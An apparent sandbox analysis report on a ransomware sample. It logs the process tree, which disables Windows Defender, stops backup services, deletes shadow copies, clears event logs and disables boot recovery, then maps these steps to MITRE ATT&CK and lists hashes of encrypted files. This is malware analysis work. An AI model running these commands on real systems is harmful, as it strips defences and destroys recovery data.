    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:3388
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:4252
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:1952
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:924
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:1732
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1820
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:2360
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_1612d" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_1612d" /y
    3⤵
    PID:3732
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:2148
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:3748
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:2196
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:4288
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:5000
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:3144
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:1308
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:1856
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_1612d" start= disabled
  2⤵
  - Launches sc.exe
  PID:4456
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3452
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4596
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:3008
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2948
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2580
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4280
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3040
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2352
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:1132
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:4800
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:404
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2828
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:4180
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:2436
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:1508
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:4380
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:1292
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:4292
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4784
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1820
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2736
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:436
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5012
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4732
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4972
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4756
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2320
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:3148
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:3100
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1428
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
  2⤵
  PID:4620
- - C:\Windows\system32\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2976

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3076
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4108
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.0.724488565\797801277" -parentBuildID 20221007134813 -prefsHandle 1716 -prefMapHandle 1708 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {048b50bf-8976-438d-961e-2ae38ecb753d} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 1664 1460ccf9e58 gpu
    3⤵
    PID:3420
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.1.1367599145\1953560526" -parentBuildID 20221007134813 -prefsHandle 2144 -prefMapHandle 2136 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {69716396-510e-43b4-8137-99cd09b1cf4e} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 2156 14601972b58 socket
    3⤵
    - Checks processor information in registry
    PID:4168
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.2.1256358507\1274831578" -childID 1 -isForBrowser -prefsHandle 2996 -prefMapHandle 2712 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1312 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8425c6fa-f08c-4098-99c9-8bcafe86c8de} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 2984 1460cc5e658 tab
    3⤵
    PID:312
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.3.938772639\1490913906" -childID 2 -isForBrowser -prefsHandle 3504 -prefMapHandle 3496 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1312 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {dd036497-387b-4ffb-ab0f-f40bd0bb2679} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 3512 14611a0ff58 tab
    3⤵
    PID:3028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.4.1762846711\1834990995" -childID 3 -isForBrowser -prefsHandle 4248 -prefMapHandle 4244 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1312 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ff7dd35-2074-48c8-bedd-b4c949a7d31e} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 3844 14612967258 tab
    3⤵
    PID:1436
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.5.2003439261\1404903016" -childID 4 -isForBrowser -prefsHandle 4084 -prefMapHandle 4080 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1312 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d54ace9-cc13-4d6a-ac5d-9d05839e1940} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 2440 1460195df58 tab
    3⤵
    PID:5384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4108.6.141938451\751109707" -childID 5 -isForBrowser -prefsHandle 1996 -prefMapHandle 2000 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1312 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1478036f-b943-4ad3-a781-d2cc37cad16c} 4108 "\\.\pipe\gecko-crash-server-pipe.4108" 4716 14601963558 tab
    3⤵
    PID:5428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_remove_18.svg.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
711B

MD5
8bb62cfad37334a15129a0da2091d472

SHA1
a9f223eb2bd355c8cbf7d17db501db834f39cb6c

SHA256
94f76b160568e3705f1e0d2d6ff3ee6927bd812032498d373bbcc516af2864f7

SHA512
da08c15accffeca9c1ec985899ebf234aa881546dfb80862c72bfe206dfbf92772582ff87c0636ca0a4cdeeb03635de7a24aecacba86e22683a1d689724d6dab

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
683B

MD5
a0522ef468697e74b90c444ceb4aa17a

SHA1
31fa5bb9b4ada150c9001b6e9f3213644117187f

SHA256
57804748e775c08ae188b4d860f31e4482ab99b44ed1d8489780daa6756fb11c

SHA512
bbb91f8b3c204c4c04da2ad635eb18e9f224f73395dac509c438c0a645316162b6ff78e03e7af76d5da2d9e84cd0c4b5e9db1d4dc08bc3f524bcc55c1f4dbbd3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_PAAAADwAAAA0.cv2gj

Filesize
1KB

MD5
99a1fefa123aa745b30727cc5ad50126

SHA1
c48f74cee78f8ed8463634d80c4112f3e12bd566

SHA256
7a610114be56ff131462bc67f9a23bcd4fde4fdd0158691448ab9e4a3eb2ca3b

SHA512
504800f03a4aa57c1cfa15b28542382728b5f3dd85309fe12ebfd711980d78d15d8241d5f54956ee41da2cd65203b7764ab7b15119457b74ebc07fcf8e55a742

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_CAAAAAgAAAA0.cv2gj

Filesize
445B

MD5
ed537606a39879a091a8c085cf95ff38

SHA1
86c73d85094efbfdcd80abf119f03b64a71cbd0f

SHA256
42c312aa2a038ca54e9a6fe4bad8c9c044c35b4c5f421496f289c00c957d7591

SHA512
fc331c2e1ec84a6a83b51f365484033b3069d73c5987094cf526c45a92c3297df22fe2a35ec20382ed4d563ee604ecbdbdf17fb735f7e0118ab444b4d5db8e9d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
611B

MD5
37d179c947c13f64b7b6356f57441032

SHA1
9d1c1bd0c370336c229baeb2cd7f80d7b3cf4d0a

SHA256
71039e6370f68913e67cb8451d3127c22d3e1045ca644e4dc9821e9f6f6899aa

SHA512
3034a8b9694bbde20be0f7fa2596fbca8fd3f1e45810b15a5cb1a2bc6f4ef852afc36639a56f82a4e582d74684724d5c4ee43cbf5e33c94c6cf00b3c059757bf

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
388B

MD5
6d8f7e9751f955452a9ceeb815456035

SHA1
e6903b2ec0f2c5632d4288f88d993d4a41f04527

SHA256
8bcf53efcb1b630087d4cfcedf5e48a7abaa9c71dd13745eedfd2c7cfa6827f5

SHA512
c869a94a224bce8ed553f5a86ffdea6d8a279e06a1c060b311cc52e4538b89e07fc0a4a76f85a28e2f62e8629a7c67101e990cc12bef2d0e2d6d7d3c1d4d7d90

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_OAAAADgAAAA0.cv2gj

Filesize
552B

MD5
f364ee8508831e375004ac82b924efd5

SHA1
b04bc510ef53760bdd22ce0dd9d2e2f248c16df7

SHA256
87da831caa04bd303918a32265830ff97648dc8adc18881ba14d1cc1d28cde85

SHA512
399b2da615c0373214e3cf421f502fd0de02bdb9473da644e9f23df9ea7fc792da7d36bde61a456c2451276f74877232c8bedbe55e57098c1ffd13719206bac3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
388B

MD5
39be6b8bd8dce3ff5a1c20ac41ba993f

SHA1
a49d8a0c769601bf922c8aa1673bfd3a92d67855

SHA256
854a09f1f875a3a2e6566c593af465c9c8a3aa9b9112eb755bb09cee76224a63

SHA512
9fd5d4f02aa9d24ce9591ac0542d0abadf2b26208c3043220d2a0f036298199131ad804f9be20c6cc67f39e2921eebec65efb3a1e435ee7318fd8591fcc2fa2a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
552B

MD5
b34c8c3b8117b038839beefa0df5a7ce

SHA1
c8d1e8eb4c71d5aa02e36fe3b7365374a9e4e32b

SHA256
bfef65c62bfc309f698e8e0b999edfc06ad272b87d805f183551c43f08d704a9

SHA512
89fa9f31f62c6e119e6280dbc475c35dd7bb37c27457732a0b1cb04809a35fec44a12ccb6a3a626586d596a0636d754a9ff79ecd9ed739c5c6edea50738a60d7

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_PgAAAD4AAAA0.cv2gj

Filesize
388B

MD5
2ca9f57d61ed45337ec4e6565480367f

SHA1
fa06ed14d72ad8ced6ad98a4e223bc80cccc5e75

SHA256
a584379ebf9aa0d3c0239edb7e1f114f01a9865f01c68494d5f28d410ba8d873

SHA512
83a172f2f304b2f634c313e248b62c11b7798f416872929ef233134bfc4ad8f44b1b4dfa123e8378a233417e1298a73088258f5671ace96ff677d1f26447de87

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
552B

MD5
74af10749d7f19d15c8dca65a7453415

SHA1
dc96d9dbffe472600548dc64c724055e62620d8d

SHA256
0e0084df79ab98e5df48ed1e01987f7ac3fcf4a038dd5453708d868f73a073a8

SHA512
83d190bf6f9cb77894e7aaf84029c40a2a0335e43d08062ca2275a2cb7a784a29b3b7b8be820c7dfb2f1458ab0528fcdfe45f05491be673b30495e1ed916999e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons_retina.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
17KB

MD5
5d4daef02238c36679fdf2f528e7f9a5

SHA1
592af3d63a1d47b7c39a469f3eac88cea68dd7a7

SHA256
39af803a582c963702554c0a3caca3b776a4ed76b6d045b98585614e50dcf7aa

SHA512
75d7cec9ec591e9d175a26497cc069f3bb9678cfc4b3a949ad65430a1f1f66f340300959230f6bf59e132ca31b99026606fe802f6ce6185533cda0974afd0ca1

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
179B

MD5
117ec36a5cc6d82e63e8b3beae4a3099

SHA1
4c692192be53827f8ec8015ceb129f6e0f89e923

SHA256
041917c06c638a1b1accaf0d2f0b2a6dd335dea629de602e104553024d822ea4

SHA512
abb02a02a9161ece12464020676e880f1eed96b43a9dfd4f7ca06dc203fe633b0a712da5f151d36a5644d65aad7b2880c135df0bc42d7c1e61b44006807a8c9d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_BAAAAAQAAAA0.cv2gj

Filesize
703B

MD5
ccc8d470e94b3441e41521572ba86ccd

SHA1
d294d7e78b596fefcc8084fab7917c54d3043e27

SHA256
a7cdf870b0b1b8459e94ed25a29daa87f5e9050294bf6cdff3bc72f93b928f94

SHA512
f3b2ca4d3160a089f6959b7c8e3e6c213c0facb2733f7948a7222196d3bd8c7350015602569df2cdc7408e38b0ff6700306d7e3439f0892b4d13d9f2d5329e42

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
19KB

MD5
7378d0cad2565ac02d5028810ffa7059

SHA1
92b0656217ffa143f78294c2f1e174b61da36e8c

SHA256
b3594ec4fe09d5c8b04e23e66d3a6e7951bc052328783b8f29806d719d419d6b

SHA512
75e8141604a4e31dfe9c500a6611370a51be418b9f68a5a0bc3fb48eabafa3b7d22e04913f0d38a8ef92a92f636ad856495bff8b1ddfdec13fe336220285ea92

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
823B

MD5
5e884e2f05ac036b7a6cded3efc2ea2d

SHA1
807c1cf1bf0943404601b6241bf4bcf9fcc29c9e

SHA256
b333de3a4a7be7749b82302085ed26ad868f0f8eccd09d2a8bb8840414e624d6

SHA512
6665aa6fa35e05d01a4a2312a93faf52d6b39409bfaa861c187b0cc2fc51e74aa253ebf56061872d548cb6d3d7bbf1f7c2568de81e5287e0a1d6591c1e780f15

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_KAAAACgAAAA0.cv2gj

Filesize
1KB

MD5
3dde11f8594519f004ded2687db9b90e

SHA1
fcf1854df851616a25d7cf1439a9120b16902420

SHA256
196c132938d324c62184ddc85bdb1cd642af830712e0fbf0fb3230978316d510

SHA512
adc2cb3a37dbf5fe2ae79f5752c0d38d2427a95e333e848ffa113046f630eaa967b3cb29c049dcdd9b921d57e23392562d779c24207f770aba6e92392064f17b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
d59d8ff7aaa17ee875adbe48b7a77e78

SHA1
7405acc07f6137b7fd9575f99a2b4354135956ef

SHA256
d74c0782682efde01c1c30e46814256f7d16d7df00a7167d90f2bd55ebaab626

SHA512
